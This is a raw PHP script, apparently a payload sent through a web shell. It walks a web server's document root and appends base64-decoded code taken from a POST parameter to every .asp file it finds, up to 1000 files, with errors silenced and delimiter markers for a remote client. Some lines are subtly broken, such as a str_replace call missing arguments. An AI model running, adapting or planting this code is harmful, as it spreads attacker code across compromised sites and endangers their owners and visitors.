<?php
990129;
@ini_set("display_errors", "0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo "->|";
$I = 0;
$D = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : (isset($_SERVER['APPL_PHYSICAL_PATH']) ? trim($_SERVER['APPL_PHYSICAL_PATH'], "\\") : (isset($_['PATH_TRANSLATED']) ? str_replace($_SERVER["PHP_SELF"]) : str_replace(str_replace("/", "\\", isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : (isset($_SERVER["URL"]) ? $_SERVER["URL"] : $_SERVER["SCRIPT_NAME"])), "", isset($_SERVER["PATH_TRANSLATED"]) ? $_SERVER["PATH_TRANSLATED"] : $_SERVER["SCRIPT_FILENAME"])));
$F = @opendir($D);
if ($F != NULL) {
    while ($N = @readdir($F)) {
        $P = $D . "/" . $N;
        if (@is_dir($P)) {
            R($P, $D);
        }
    }
    @closedir($F);
}
function R($H, $D)
{
    $A = @opendir($H);
    while ($B = @readdir($A)) {
        $E = $H . "/" . $B;
        if (@strtolower(pathinfo($E, PATHINFO_EXTENSION)) == "asp") {
            U($E, $D);
        }
    }
}
function U($V, $D)
{
    $Y = @file_get_contents($V);
    $Y = $Y . base64_decode($_POST["z2"]);
    if (file_put_contents($V, $Y)) {
        $GLOBALS['I'] = $GLOBALS['I'] + 1;
        if ($GLOBALS['I'] > 1000 - 1) {
            echo $GLOBALS['I'];
            echo "|<-";
            die;
        }
    }
}
echo $GLOBALS['I'];
echo "|<-";
die;
